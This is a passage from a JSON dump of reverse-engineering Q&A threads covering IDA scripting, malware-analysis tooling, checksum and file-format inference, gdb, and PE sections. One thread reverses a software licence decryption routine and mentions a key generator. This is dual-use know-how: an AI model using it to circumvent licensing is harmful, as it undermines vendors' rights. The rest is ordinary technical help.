SEGATTR_PERM);\nfn.copy_seg_attr(ori_seg, here, SEGATTR_FLAGS);\nfn.copy_seg_attr(ori_seg, here, SEGATTR_ES);\nfn.copy_seg_attr(ori_seg, here, SEGATTR_SS);\nfn.copy_seg_attr(ori_seg, here, SEGATTR_DS);\nfn.copy_seg_attr(ori_seg, here, SEGATTR_TYPE);\nfn.copy_seg_attr(ori_seg, here, SEGATTR_COLOR);\n\nRenameSeg(here, AskStr(\"\", \"segment name\"));\n</code></pre>\n\n<p>Note: 'inlining' a class definition via Compile() or CompileEx() was the only trick I found for defining a function inside a snippet. It seems to work only in newer IDAs though (tested with 6.6 and 6.7), and only if the Compile() is right at the start of the snippet. </p>\n\n<p>For older IDA versions the helper function has to be defined in some other way, for example in a separate .idc file, and the call to AddSegEx() needs to be replaced with AddSeg().</p>\n\n<p>Also, I couldn't find a way to query the segment class, and so it cannot be copied even though there is a function <code>SetSegClass()</code> that can set it.</p>\n\n<p>The inverse operation - merging the next segment into the current one - is much simpler:</p>\n\n<pre><code>auto seg_beg, seg_end, next_seg;\n\nseg_beg = SegStart(here);\n\nif (seg_beg == -1)  return Warning(\"no segment here\");\n\nnext_seg = NextSeg(here);\n\nif (next_seg == SegEnd(here))\n{\n   seg_end = SegEnd(next_seg);\n\n   DelSeg(next_seg, SEGMOD_KEEP);\n   SetSegBounds(seg_beg, seg_beg, seg_end, SEGMOD_KEEP);\n\n   Jump(PrevNotTail(seg_end));\n}\n</code></pre>\n\n<p>With a snippet like this you can merge a whole boatload of segments with just a single click per segment, which is handy for memory dumps. Or for undoing accidental segment splits...</p>\n"
    },
    {
        "Id": "6911",
        "CreationDate": "2014-12-28T17:38:19.747",
        "Body": "<p>I know that </p>\n\n<blockquote>\n  <p>Dynamic program analysis is the analysis of computer software that\n  is performed by executing programs on a real or virtual processor.</p>\n</blockquote>\n\n<p>while</p>\n\n<blockquote>\n  <p>Static program analysis is the analysis of computer software that is\n  performed without actually executing programs</p>\n</blockquote>\n\n<p>But what i don't understand is that why would someone use a static disassembler like ida pro over a dynamic disassembler or debugger like ollydbg and vice versa.</p>\n\n<p>P.S This is not a duplicate of \n<a href=\"https://reverseengineering.stackexchange.com/questions/3473/what-is-the-difference-between-static-disassembly-and-dynamic-disassembly\">What is the difference between static disassembly and dynamic disassembly?</a></p>\n\n<p>Because this is not asking for the difference but it is asking for the reason and benefits why someone would choose static disassembler over a dynamic disassembler and vice versa in terms of malware analysis. </p>\n",
        "Title": "What is the benefit or reason of using a static disassembler over a dynamic disassembler in terms of malware analysis?",
        "Tags": "|ida|disassembly|ollydbg|malware|static-analysis|",
        "Answer": "<p>In most cases, you won't confine yourself to one of them, instead, you'll use both.</p>\n\n<p>Dynamic analysis means running the software. You don't want to do this with a piece of software that you suspect of being malware, except in a controlled environment. </p>\n\n<p>Also, before running the software, you want to know a bit about it. Is the executable packed in some way? Does it use anti-debugging techniques? Does the software contain any pieces of some well-known / open source library? There are lots of tools out there that answer some of these questions - Ida pro is only one of them.</p>\n\n<p>To further improve your understanding of the software, you want a tool that helps you find dependencies between its parts. Which parts of the binary are actually code, and which are data? If the software contains strings, or other data, that looks interesting, where are those referenced? Which function is called where? This is where the cross-referencing of IDA comes in handy.</p>\n\n<p>On the other hand, in many cases, you don't really need to understand every single instruction of a subroutine to know what it does. You might want to know which files and which registry keys get read and written by your software. Or, you might want to know if it accesses the internet, and which sites it connects to. Running the software with stuff like <code>procmon</code> or <code>wireshark</code> enabled is the fastest way to find out - i'd consider that dynamic analysis as well, even though <code>procmon</code> and <code>wireshark</code> aren't debuggers. Or, while analyzing your software, you come across a function that contains lots of bit operations - this might be some kind of encryption or hashing. Fire up a debugger, set breakpoints on the function, and check its parameters and return values. This can confirm your assumption much faster than trying to understand the function.</p>\n\n<p>Now, you've confirmed the function really decrypts something, and you want to know how it works. You'll probably want to annotate individual opcodes with comments like 'at this point, <code>eax</code> contains all bytes of the input string, xor'red with each other' or 'this doesn't do anything and seems to be nothing but obfuscation'. Tools like IDA allow you to do exactly this.</p>\n\n<p>So the answer is: unless you have a very trivial piece of software, you won't choose one over the other. Analyzing the software consists of many tasks; for some of them, static analysis is easier, for others, dynamic analysis. Any self respecting reverse engineer will have lots of tools at his disposal and pick the right one depending on the task at hand, and quite often, will write his own tool as well to tackle some problems he has with the specific software he's working on right now.</p>\n\n<p>Note that i've never always used the term <code>software</code> instead of <code>malware</code>, as this relates to any kind of reverse engineering, not just malware analysis.</p>\n"
    },
    {
        "Id": "6918",
        "CreationDate": "2014-12-29T13:25:20.537",
        "Body": "<p>I'm reverse engineering a file format in which (amongst a whole lot of other things I have already decoded) the 'length' of the file is being stored.\nIt is displayed to the user as minutes:seconds.\nDoing a little bit of experimenting by altering the file and loading it up in the program, I've gathered the following possibilities:</p>\n\n<pre><code>Original:\n5d42: 0:55\n\nAltered:\n5240: 0:03\n0000: 0:00\n003f: 0:00\n0040: 0:02\n0041: 0:18\n0042: 0:32\n0043: 2:08\n0044: 8:32\n0045: 34:08\n1045: 38:24\n0046: 136:32\n0047: 564:08\n0048: 2184:32\n0049: 8738:08\n004a: 34952:32\n004b: invalid\n004c: 559240:33\n004d: 2236962:15\n004e: 8947849:00\n004f: 35791396:00\n0050: 143165584:00\n0051: 572662336:00\n0052: 2290649344:00\n\n0142: 0:32\n0242: 0:32\n0342: 0:32\n0442: 0:33\n0542: 0:33\n0642: 0:33\n0742: 0:33\n0842: 0:34\n0942: 0:34\n0a42: 0:34\n0b42: 0:34\n0c42: 0:35\n0d42: invalid\n0e42: 0:35\n0f42: 0:35\n1042: 0:36\n1142: 0:36\n</code></pre>\n\n<p>My guess is this is some sort of floating point, but I'm too limited in my skills to know what kind.\nI know all other numbers in the files are stored as little-endian.</p>\n\n<p>Does anyone have any clue?</p>\n",
        "Title": "What could this time format be?",
        "Tags": "|file-format|",
        "Answer": "<p>This seems very much like the <a href=\"http://de.wikipedia.org/wiki/IEEE_754\">IEEE754</a> format, and i'd assume each of your two byte timecodes to be preceded by two zero-bytes, which make a 4 byte (32 bit) value.</p>\n\n<p>You can calculate the exponent using the formula</p>\n\n<pre><code>exponent=(byte2 * 2 - 127)\n</code></pre>\n\n<p>and the value in seconds using</p>\n\n<pre><code>value=2^exponent*(1+byte1/128)\n</code></pre>\n\n<p>assuming the high-order bit of byte1 is clear; if you set the highest bit in byte1, you'll probably get a negative value. (If byte1 is zero, as in most of your examples, value is equal to the exponent, as the multiplicand is 1)</p>\n\n<p>Note you have a typo in your value for <code>0041</code>, that should be <code>0:08</code>, not <code>0:18</code>, and you probably made a mistake when checking the <code>004b</code> value, that should be <code>8388608</code> seconds, or <code>139810:08</code> minutes.</p>\n"
    },
    {
        "Id": "6922",
        "CreationDate": "2014-12-30T05:11:24.453",
        "Body": "<p>What is the Linux equivalent to <code>OllyDbg</code> and <code>IDA Pro</code> ? Or if there are multiple tools that do the various functions that <code>OllyDbg</code> and <code>IDA Pro</code> do, where can I find these tools? I'd like to start reversing some <em>elf</em> files on Linux and I'm just looking for a set of tools to get me started.</p>\n",
        "Title": "What is the linux equivalent to OllyDbg and Ida Pro?",
        "Tags": "|linux|debuggers|disassemblers|",
        "Answer": "<p>As an (2019) addition to all the other answers:</p>\n\n<p>Try <a href=\"https://en.wikipedia.org/wiki/Ghidra\" rel=\"noreferrer\">Ghidra</a>. </p>\n\n<p>It is the Software Reverse Engineering (SRE) suit of the NSA and it's free and open source. It was leaked as part of Wikileaks' <a href=\"https://en.wikipedia.org/wiki/Vault_7\" rel=\"noreferrer\">\"Vault 7\"</a> but the NSA decided to release it and they published it as open source software. It's written in Java and is cross platform, supporting Windows, Linux and MacOS.</p>\n\n<ul>\n<li><a href=\"https://ghidra-sre.org/\" rel=\"noreferrer\">Official Website</a></li>\n<li><a href=\"https://github.com/NationalSecurityAgency/ghidra\" rel=\"noreferrer\">Source Code</a></li>\n</ul>\n"
    },
    {
        "Id": "6927",
        "CreationDate": "2014-12-30T12:01:57.770",
        "Body": "<p>I am trying to determine the algorithm behind a 32-byte protected section of memory on a big-endian system. It will render invalid if even a single bit is changed, but I can generate any number of valid 32-byte messages.</p>\n\n<p>Here shows a variety of example data. I believe the last 4 bytes are the checksum. All of them are accepted by the algorithm.</p>\n\n<pre><code>00000000000000000000000000000000000000000007478A000101004892B760\nF0000000000000000000000000000000000000000002D8DF00010100C9E23610\n3065C0000000000000000000000000000000000000006F850001010060EB9F07\nFFFFFFFF03FC6BBD000000000000000000000000000000000001010070B88F3A\nFFFFFFFF0397E33D340C804138458C5006060968570C214B0001017AE8F416FE\n</code></pre>\n\n<p>I was able to create a bunch of custom messages with very little differences. Doesn't seem like it could be a CRC-32.</p>\n\n<pre><code>FFFFFFFF01671F7E000000000000000000000000000000000001010021E4DE0E (00)\nFFFFFFFF01671F84000000000000000000000000000000000001010021EADE08 (01)\nFFFFFFFF01671F88000000000000000000000000000000000001010021EEDE04 (02)\nFFFFFFFF01671F86000000000000000000000000000000000001010021ECDE06 (03)\nFFFFFFFF01671F8C000000000000000000000000000000000001010021F2DE00 (04)\nFFFFFFFF01671F8A000000000000000000000000000000000001010021F0DE02 (05)\nFFFFFFFF01671F86000000000000000000000000000000000001010021ECDE06 (06)\nFFFFFFFF01671F8C000000000000000000000000000000000001010021F2DE00 (07)\nFFFFFFFF01671F90000000000000000000000000000000000001010021F6DDFC (08)\n</code></pre>\n\n<p>All of the input bytes are the same, except one byte that increases by 1 in each message.</p>\n\n<p><a href=\"http://pastebin.com/raw.php?i=vT6KPUQH\" rel=\"noreferrer\">Here</a> is a list of 50 or so pairs.</p>\n\n<p><strong>Basically, are there any analysis methods that can be applied to a set of data to determine some properties of the algorithm? I can generate any number of these messages, and verify that they are accepted.</strong></p>\n\n<p><em>Edit: By shifting a single bit, I noticed that 0x04 was added to two bytes, but subtracted to another (F84 -> F88,  1EA -> 1EE,  E08 -> E04).\nAfter some experimentation (Mainly adding and subtracting different values and testing them) I was lucky that it turned out to be a summation of the fourteen preceding 16-bit words. AND-masking the sum by 0xFFFF, this value equals 15th word (e.g. 21EA in the first message).\nThis value is then subtracted from 0xFFF2 to produce the 16th word in the message.</em></p>\n\n<pre><code>FFFFFFFF01671F84000000000000000000000000000000000001010021EADE08\nFFFFFFFF01671F88000000000000000000000000000000000001010021EEDE04\n</code></pre>\n",
        "Title": "Reversing simple message + checksum pairs (32 bytes)",
        "Tags": "|binary-analysis|",
        "Answer": "<p>Some of the samples inputs shown differ only in the value of the sixteenth nibble; let 's(X)' stand for such an input with value X at that nibble:</p>\n\n<pre><code>s(4): FFFFFFFF01671F840000000000000000000000000000000000010100 21EADE08\ns(6): FFFFFFFF01671F860000000000000000000000000000000000010100 21ECDE06\ns(8): FFFFFFFF01671F880000000000000000000000000000000000010100 21EEDE04\ns(A): FFFFFFFF01671F8A0000000000000000000000000000000000010100 21F0DE02\ns(C): FFFFFFFF01671F8C0000000000000000000000000000000000010100 21F2DE00\n</code></pre>\n\n<p>In a similar vein, let 'o(Y)' stand for the bit string consisting entirely of zeroes except for value Y at the sixteenth nibble.</p>\n\n<p>Now, let's confront the XOR (bit difference) of certain inputs and the XOR of the corresponding checksums as MSB-first bitstrings:</p>\n\n<pre><code>s(4) ^ s(6) = o(2), cksum delta: .............**.............***.\ns(8) ^ s(A) = o(2), cksum delta: ...........****..............**.\ns(8) ^ s(C) = o(4), cksum delta: ...........***...............*..\ns(4) ^ s(C) = o(8), cksum delta: ...........**...............*...\n</code></pre>\n\n<p>The lowest set bit of the checksum differences is equal to the bit where the inputs differ, and there is a matching difference exactly sixteen bits higher. The bursts of set bits could be due to bubbling carries.</p>\n\n<p>For comparison, here are the XOR differences between the corresponding CRC32 values:</p>\n\n<pre><code>s(4) ^ s(6) = o(2), crc32 delta: .*****.*.......***...*..***..*..\ns(8) ^ s(A) = o(2), crc32 delta: .*****.*.......***...*..***..*..\ns(8) ^ s(C) = o(4), crc32 delta: *.***.**.....*..*****..*...*..*.\ns(4) ^ s(C) = o(8), crc32 delta: .***.**.....*..*****..*...*..*.*\n</code></pre>\n\n<p>The structure of the changes is completely different and much more complicated. Note the CRC difference for inputs that differ in the same bit (first two lines), and the density of the differences which approaches the theoretical 50%. This is because CRCs have much better diffusion (avalance effect) than simple, empirical checksums.</p>\n\n<p>And now the picture for a hash with near-perfect diffusion (the murmur hash mixer function):</p>\n\n<pre><code>s(4) ^ s(6) = o(2), murmur delta: ..*..*.....**.**..*..*....**..**\ns(8) ^ s(A) = o(2), murmur delta: .*.*.*.*.*..*..*.*.*.*.**.*.*.*.\ns(8) ^ s(C) = o(4), murmur delta: ..****.*****.******.**.**.******\ns(4) ^ s(C) = o(8), murmur delta: .***...***.**...*.*....**.*.**.*\n</code></pre>\n\n<p>It is easy to get a feel for the structure of a checksum by observing these differentials for increasingly complex functions: sum, xor, xorshift, some classical hashes.</p>\n\n<p>Then turn the spotlight on your target function. Observe output differences for some fixed inputs, letting single bit flip wander through the string. Observe output differences for single-bit differences at certain fixed positions for a series of different inputs. Let the difference position hop in increments of 8 bits, observe the behaviour. Then try 32-bit hops, observe. If possible, focus initial investigation on the last 32 bits of the input, since their relation to the output is bound to be a lot simpler than that for bits that went through more iterations... The structure of the hash function cannot hide itself from you for long.</p>\n\n<p>That was a look at xor differentials. Depending on the hypothesised structure of the checksum, other experiments are possible. As a real-life example, a few years back I had to deduce various check digit algorithms (similar in nature to the ISBN check digit algorithm) based on sample batches of (mostly) correct specimens. Since these algorithms are based on multiplying digits with certain position-dependent weights, I searched for pairs of numbers that differed only in one single digit apart from the checksum. By fixing certain hypotheses regarding how the sum is turned into a check digit, this allowed my to deduce the weight (1, 2, 3, 4...) for each digit and to identify the correct hypothesis for the sum.</p>\n\n<p>In the case under consideration it is certainly suggestive that the sixteenth nibble and the final nibble of the checksum sum to 12 (0x0C), for the five samples that I used here.</p>\n\n<p>So, the basic idea is to confront input differences with output differences, modulated by one's suspicion regarding the structure of the function that needs to be inferred. Things can get very tricky if sample pairs with minimal differences are scarce. Conversely, if you can produce samples at will (chosen-plaintext attack) then things are looking very good indeed... </p>\n"
    },
    {
        "Id": "6933",
        "CreationDate": "2014-12-31T07:57:09.603",
        "Body": "<p>I know that I can output the value of a variable using </p>\n\n<pre><code>(gdb) p var_name\n$1 = \"varvalue\"\n</code></pre>\n\n<p>Is there a way to set the value of a variable while debugging with gdb? The document that I'm using doesn't seem to have this command. </p>\n\n<p><strong>Edit</strong></p>\n\n<p>I've since learned that I can change the state of objects in memory by simply calling their functions! So to modify an object of type <code>std::string</code>, just call the <code>assign</code> function as follows:</p>\n\n<pre><code>(gdb) call str.assign(\"New Value\")\n</code></pre>\n\n<p>Thank you.</p>\n",
        "Title": "How can I change the value of a variable while debugging?",
        "Tags": "|linux|gdb|",
        "Answer": "<p>A little bit later but to set a string variable you should try this></p>\n\n<p>gdb set var string_variable = 'new_string_variable'</p>\n\n<p>Character numbers must be the same for the two variable definitions, in order to apply the change as appropriate. Quotes need to be applied to new variable.</p>\n"
    },
    {
        "Id": "6935",
        "CreationDate": "2014-12-31T09:25:27.320",
        "Body": "<p>Is there any way to use an existing IDB from the IDA command line interface ?</p>\n\n<p>I went through the list of command line switches <a href=\"https://www.hex-rays.com/products/ida/support/idadoc/417.shtml\" rel=\"nofollow\">here</a> but there isn't any related switches.</p>\n\n<p>As I am currently scripting IDA to do some processing based on the same file, I realised I could save some time by reusing the existing IDB, instead of repeatedly deleting and creating another new IDB per iteration. ( -c causes this behavior )  </p>\n\n<p>My current command: <code>idaw.exe -c -A -SC:\\someScript.py</code> </p>\n",
        "Title": "Using an existing IDB from IDA command line interface",
        "Tags": "|ida|idapython|automation|",
        "Answer": "<blockquote>\n  <p>My current command: <code>idaw.exe -c -A -SC:\\someScript.py</code></p>\n</blockquote>\n\n<p>Remove the <code>-c</code> and add the existing IDB file's path:</p>\n\n<p><code>idaw.exe -A -SC:\\someScript.py C:\\existingIdb.idb</code></p>\n"
    },
    {
        "Id": "6941",
        "CreationDate": "2015-01-02T03:18:07.717",
        "Body": "<p>According to MSDN, the <code>.rdata</code> section of a PE should contain the debug directory and the description string. I've read elsewhere that it contains read-only program data. Dumping several files, I found that <code>.rdata</code> contains the IAT, load configuration table, and safe exception handler table. Can someone please clarify the purpose of <code>.rdata</code> and why what I find in there disagrees with both descriptions? Also, shouldn't the import information be in <code>.idata</code>?</p>\n\n<p>I'm assuming different compilers and different versions of the same compiler treat the same sections differently. If that's the case, where can I get more information on this?</p>\n",
        "Title": "PE .rdata section contents",
        "Tags": "|pe|compilers|section|",
        "Answer": "<p>Okay so basically, it's convenient to have as few sections as possible because each section must start on a new physical page, so you could waste a few KiB of physical memory here and there. Also, it takes up more kernel memory with more subsection objects required and more subsections to set up means more code to execute so the load time will be marginally longer. The import table <strong>must</strong> be in a read only section but doesn't need to be in a section of its own because it's accessed using a pointer in the PE header. It needs to be read only because otherwise the user code could modify the IAT and hijack calls to gadgets in the code or injected dlls. As for the loader, it needs to modify the IAT itself. This means it momentarily needs to change the PTEs from read only to COW, write to it which causes new physical pages to be allocated as read/write, and once its done, write protect those allocated pages and hence the PTEs. Similarly, .pdata is sometimes its own section, but it does not need to be and can be included in any read only section, so long as the exception directory RVA is in the optional PE header.</p>\n"
    },
    {
        "Id": "6945",
        "CreationDate": "2015-01-03T03:42:35.620",
        "Body": "<p>I'm trying to identify a decryption scheme used by some licencing mechanism. It took me some time to realize that this was encryption and this is some kind of follow up to this other question of mine : <a href=\"https://reverseengineering.stackexchange.com/questions/6858/create-key-generator-algorithm-from-validation-algo\">Create key generator algorithm from validation algo</a></p>\n\n<p>I did some homework and it seems to me that the key characteristics of this decryption are the following:</p>\n\n<p>1-The input is base64 decoded first (with some non standard key tables, but the algo is quite identical)<br>\n2-It is decrypted with a key of the same length as the input. This might be a one time pad or simply a very long key for very short data (both are 512 bits)<br>\n3-Most importantly and what baffles me is that the decryption algo uses NO xor. Every cipher I've seen use XOR at some point in the decryption but there simply is none here.  </p>\n\n<p>Point 3 is what I really don't understand here. I fail to see how to generate data that can be decrypted without XOR. Using bitshifting and AND/OR masking seems to lose a lot of information during the process.</p>\n\n<p>Are there any known ciphers which match those characteristics?</p>\n\n<p>Edit :</p>\n\n<p>Ok here is some deeper description of the algo :</p>\n\n<p>There is one function that is called multiple times. It first creates 2 tables with the data and the decryption key. The second one is based on the first one.</p>\n\n<p>This function first creates a table with the data and then processes that data with the decryption key in another table.</p>\n\n<p>The table created from the data is made by manipulating each 32 bits blocks (master block) from the data with the entire data with additions so that it yields a single <code>unsigned int</code> for each of the 16 32 bit blocks. The call for this looks like this </p>\n\n<pre><code>hash_block(&amp;result1, &amp;result2, current_master_block, data_array[i]);\n</code></pre>\n\n<p>hash_block looks like this : </p>\n\n<pre><code>void hash_block(int *result1, int *result2, unsigned int pMaster_block, unsigned int pCurrent_block)\n{\n    int current_block;\n    unsigned int current_high_short;\n    int master_high_times_master; \n    unsigned int master_high_master_short;\n    int master_high_times_current;\n    unsigned int sum_of_mixes;\n\n    current_block = (unsigned __int16)pCurrent_block;\n\n    current_high_short = pCurrent_block &gt;&gt; 16;\n    master_high_times_master = HIWORD(pCurrent_block) * (unsigned __int16)pMaster_block;\n    master_high_master_short = pMaster_block &gt;&gt; 16;\n    *(_DWORD *)result1 = current_block * (unsigned __int16)pMaster_block;\n    master_high_times_current = current_block * HIWORD(pMaster_block);\n    sum_of_mixes = master_high_times_current + master_high_times_master;\n    *(_DWORD *)(result2) = (unsigned __int16)current_high_short * (unsigned __int16)master_high_master_short;\n    if ( master_high_times_current &gt; sum_of_mixes )\n        *(_DWORD *)(result2) += 65536;\n    *(_DWORD *)result1 += sum_of_mixes &lt;&lt; 16;\n    if ( sum_of_mixes &lt;&lt; 16 &gt; *(_DWORD *)result1 )\n        ++*(_DWORD *)(result2);\n    *(_DWORD *)(result2) += sum_of_mixes &gt;&gt; 16;\n}\n</code></pre>\n\n<p>I'm currently cleaning up the code a bit, I'll follow up with more information on how the second part of the algo works</p>\n\n<p>EDIT 2 :</p>\n\n<p>There is also a very complex function that I can't make sense of which is run 248 times in this function :</p>\n\n<pre><code>void __fastcall sub_4D5AC0(int* result, int* serial_copy, unsigned int last_keyitem)\n{\n  unsigned int v3; // edi@1\n  unsigned int v4; // edi@2\n  int v5; // eax@4\n  int v6; // eax@7\n  unsigned int v7; // eax@11\n  //int return_value; // ecx@25\n  int* v10; // [sp+0h] [bp-24h]@1\n  unsigned int v11; // [sp+4h] [bp-20h]@4\n  int v12; // [sp+4h] [bp-20h]@16\n  unsigned __int64 v13; // [sp+4h] [bp-20h]@18\n  int v14; // [sp+8h] [bp-1Ch]@1\n  unsigned int v15; // [sp+8h] [bp-1Ch]@6\n  unsigned int v16; // [sp+10h] [bp-14h]@16\n\n  v3 = *(serial_copy + 1);\n  v14 = *(serial_copy + 1);\n  if ( HIWORD(last_keyitem) == -1 )\n    v4 = v3 &gt;&gt; 16;\n  else\n    v4 = v3 / ((unsigned int)HIWORD(last_keyitem) + 1);\n  v5 = (unsigned __int16)last_keyitem * (unsigned __int16)v4 &lt;&lt; 16;\n  v11 = *serial_copy - v5;\n  //if ( -1 - v5 &lt; v11 )\n  if ( ~v5 &lt; v11 )\n    --v14;\n  v15 = v14 - ((unsigned __int16)last_keyitem * (unsigned int)(unsigned __int16)v4 &gt;&gt; 16) - HIWORD(last_keyitem) * (unsigned __int16)v4;\n  while ( 1 )\n  {\n    if ( HIWORD(last_keyitem) &gt;= v15 )\n    {\n      v7 = HIWORD(last_keyitem);\n      if ( HIWORD(last_keyitem) != v15 )\n        break;\n      v7 = (unsigned __int16)last_keyitem &lt;&lt; 16;\n      if ( v7 &gt; v11 )\n        break;\n    }\n    v6 = (unsigned __int16)last_keyitem &lt;&lt; 16;\n    v11 -= v6;\n    if ( -1 - v6 &lt; v11 )\n      --v15;\n    v15 -= HIWORD(last_keyitem);\n    ++v4;\n  }\n  if ( HIWORD(last_keyitem) == -1 ){\n    //LOWORD(v7) = v15;\n    v7 &amp;= 0xFFFF0000;\n    v7 |= v15 &amp; 0xFFFF;\n  }else{\n    v7 = ((v11 &gt;&gt; 16) + (v15 &lt;&lt; 16)) / ((unsigned int)HIWORD(last_keyitem) + 1);\n  }\n  v16 = HIWORD(last_keyitem) * (unsigned __int16)v7;\n  v12 = v11 - (unsigned __int16)last_keyitem * (unsigned __int16)v7;\n  if ( v12 &gt; -1 - (unsigned __int16)last_keyitem * (unsigned int)(unsigned __int16)v7 )\n    --v15;\n  //LODWORD(v13) = v12 - (v16 &lt;&lt; 16);\n  v13 &amp;= 0xFFFFFFFF00000000;\n  v13 |= (v12 - (v16 &lt;&lt; 16)) &amp; 0xFFFFFFFF;\n  if ( -1 - (v16 &lt;&lt; 16) &lt; (unsigned int)v13 )\n    --v15;\n  // HIDWORD\n  v13 &amp;= 0x00000000FFFFFFFF;\n  v13 |= (v15 - (v16 &gt;&gt; 16)) &amp; 0xFFFFFFFF00000000;\n  while ( last_keyitem &lt;= v13 )\n  {\n      v13 &amp;= 0xFFFF0000;\n      v13 |= (v13 - last_keyitem) &amp; 0xFFFF;\n    //LODWORD(v13) = v13 - a3;\n    v13 = (v13 - last_keyitem) &amp; 0xFFFF;\n    if ( (unsigned int)v13 &gt; -1 - last_keyitem ){\n      //--HIDWORD(v13);\n        unsigned __int64 high_word = v13 &amp; 0xFFFFFFFF00000000;\n        high_word++;\n        v13 &amp;= 0x00000000FFFFFFFF;\n        v13 |= high_word;\n    }\n    ++v7;\n  }\n  *result = (unsigned __int16)v7 + ((unsigned __int16)v4 &lt;&lt; 16);\n}\n</code></pre>\n",
        "Title": "Identify a decryption scheme",
        "Tags": "|disassembly|encryption|",
        "Answer": "<p>The first function (the one at .text:004D5A40) computes the 64-bit product of two 32-bit unsigned operands and stores the result through EAX. It is probably some half-assed 16-bit code recompiled with a half-assed 32-bit compiler...</p>\n\n<p>For a quick test you can paste the disassembly into an __asm block to make it recompilable. Then you can make a call stub to aid experimentation:</p>\n\n<pre><code>__declspec(naked)\nvoid sub_4D5A40 ()\n{\n   __asm\n   {\n/*4D5A40*/                 push    ebx\n... BIG SNIP ...\n/*4D5ABE*/                 pop     ebx\n/*4D5ABF*/                 retn\n   }\n}\n\n__declspec(noinline)\nuint64_t halfassed_mul (uint32_t multiplicand, uint32_t multiplier)\n{\n   uint64_t result;\n\n   __asm\n   {\n      mov   ecx, multiplicand\n      mov   edx, multiplier\n      lea   eax, result\n\n      call sub_4D5A40\n   }\n\n   return result;\n}\n</code></pre>\n\n<p>That way you can easily compare/verify the result against the 64-bit product of the parameters.</p>\n\n<p>Note: the listing won't compile unless you change the stack variable references to <code>word ptr [esp]</code>. If you forget the <code>word</code> qualifier then the compiler will assume byte-sized access, and this will b0rken things.</p>\n\n<p>The compiler used for your target is so poor that Hex-Rays obviously cannot make much sense of the code... You may have more success if you recompile the decompiler output for selected functions with a decent compiler and full optimisation, in order to remove as much redundancy as possible (don't forget <code>__declspec(noinline)</code>). If you decompile that then things should be a lot clearer.</p>\n\n<p>Browse a couple of the bigint-related topics on Stack Overflow and Code Review to refresh your memory on what bigint code looks like where the rubber meets the road,  especially the contest-related topics where people have to reinvent the wheel instead of just calling some bigint library. For example the topic <a href=\"https://codereview.stackexchange.com/questions/70125/sum-of-digits-in-ab/70197#70197\">Sum of digits in a^b</a>. That should make it much easier to recognise related patterns in the code.</p>\n\n<p><strong>Update:</strong>  I tackled <strong>sub_4D5AC0</strong> because I wanted to know what mysterious calculation it performs, but trying to understand the code made my head swim, even after I removed a lot of redundant instructions. So I decided to give it the black box treatment, on the assumption that it performs some basic arithmetic computation. The elementary operations of the code indicated division, in a rather convoluted way. Combined with the signature (64-bit op 32-bit, with 32-bit result), the only op that fitted was MOD. So I pasted the code into an .asm, which compiled without a hitch (kudos to IDA!), made a call stub and fed some inputs into the black box. It turns out that the function divides a 64-bit integer at *EDX by ECX and stores the lower 32 bits of the quotient through EAX.</p>\n\n<p>When I wrote a test to verify the function output for some random inputs I typed 1000000000 for the loop count as usual. Biiig mistake, since 1000 calls take about a second already...</p>\n"
    },
    {
        "Id": "6951",
        "CreationDate": "2015-01-04T10:00:54.253",
        "Body": "<p>I have a file that I am trying understand its structure and format. It's a proprietary driver file of a control system for NEC LT380 projector which contain essential information such as TCP port number and available commands that the projector accepts such us power on/off, switch inputs and aspect ratio etc.</p>\n\n<p>I did a few tests on the file and able to determine a few things:</p>\n\n<ol>\n<li>Here's the content of the file: <a href=\"http://codepad.org/0pzGkLgT\" rel=\"nofollow\">http://codepad.org/0pzGkLgT</a> (you need to save the content into a file then open it using gzip software)</li>\n<li>I was able to determine that the file is gzipped and upon extraction, the zip contains a single file without extension.</li>\n<li>Here's the content of the extracted file: <a href=\"http://codepad.org/yvuceZcD\" rel=\"nofollow\">http://codepad.org/yvuceZcD</a> (to read this, open using hex viewer)</li>\n<li>Online TrID File Identifier seems to identify the extracted file as ABR or Adobe Photoshop Brush which of course is incorrect.</li>\n<li>Then I opened the extracted file using text editor, it just show a bunch of hex strings.</li>\n<li>Which led me to open the hex file in HexEdit. This time, I am able to see some human readable syntaxes and code.</li>\n<li><p>The beginning and end of file contains some unreadable strings and some syntaxes such as \"<strong>Culture=neutral, PublicKeyToken=null</strong>\". These syntaxes seemed to suggest its .NET related but exactly what kind of .NET file I am not so sure. In the middle portion of the file, there's a bunch of code that with further investigation seemed like python code. Example: </p>\n\n<p><strong>def ReadAspectRatio(self, qualifier, context):</strong></p></li>\n<li><p>Also, on the same file, I found some tags:<code>**&lt;&lt;/Type/Catalog/Pages 2 0 R/Lang(en-US) &gt;&gt;**</code> which is often found in a PDF file. Using PDF repair tool, I was able to recover and rebuild the streams of this file into a proper PDF file which contains a few pages of the projector commands and port information.</p></li>\n</ol>\n\n<p>Questions:</p>\n\n<ol>\n<li>Do you have a way to determine what kind of file is this? Or what has been done to this file since there seems to be 3 different things inside that one file: .NET stuff (maybe manifest file or reference to .NET assembly), python code that does the set/read/write command to device and lastly PDF stream. Was there obfuscation or file joining method or hashes done on that beginning and end of file?</li>\n<li>I am looking to recreate and emulate the file. Currently, if I just open that extracted file, edit the middle portion of the file by adding some simple extra options/commands in proper python code, save it and gzip it back, it doesn't work.</li>\n</ol>\n\n<p>Thanks!</p>\n",
        "Title": "Determine encrypted/hashed/compressed proprietary driver file",
        "Tags": "|driver|",
        "Answer": "<p>The file appears to be a binary-serialized .NET file (similar in concept to a Python pickle or a Java serialized stream), and does not appear to be obfuscated in any way. I manually parsed the first few records using the reference from <a href=\"http://msdn.microsoft.com/en-us/library/cc236844.aspx\" rel=\"nofollow\">Microsoft's stream format specification</a>, and the format checks out. The file stores a single object of type \"Extron.Configuration.Drivers.DriverFileAsset\", with 18 class members of varying types.</p>\n\n<p>I guessed this format based on the fact that it contains .NET class library identifiers in the header, then verified the guess by checking the file format spec.</p>\n\n<p>I hacked together a parser for this format, though it is incomplete. The dump of the file looks like this:</p>\n\n<pre><code>Binary Serialization Format\n@0\n  SerializedStreamHeader(TopId=1, HeaderId=-1, MajorVersion=1, MinorVersion=0)\n@17\n  BinaryLibrary(LibraryId=2, LibraryName='Extron.Configuration.Drivers, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null')\n@106\n  BinaryLibrary(LibraryId=3, LibraryName='Extron.Configuration.Core, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null')\n@192\n  BinaryLibrary(LibraryId=4, LibraryName='Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null')\n@283\n  BinaryLibrary(LibraryId=5, LibraryName='WindowsBase, Version=3.0.0.0, Culture=Neutral, PublicKeyToken=31bf3856ad364e35')\n@367\n  ClassWithMembersAndTypes 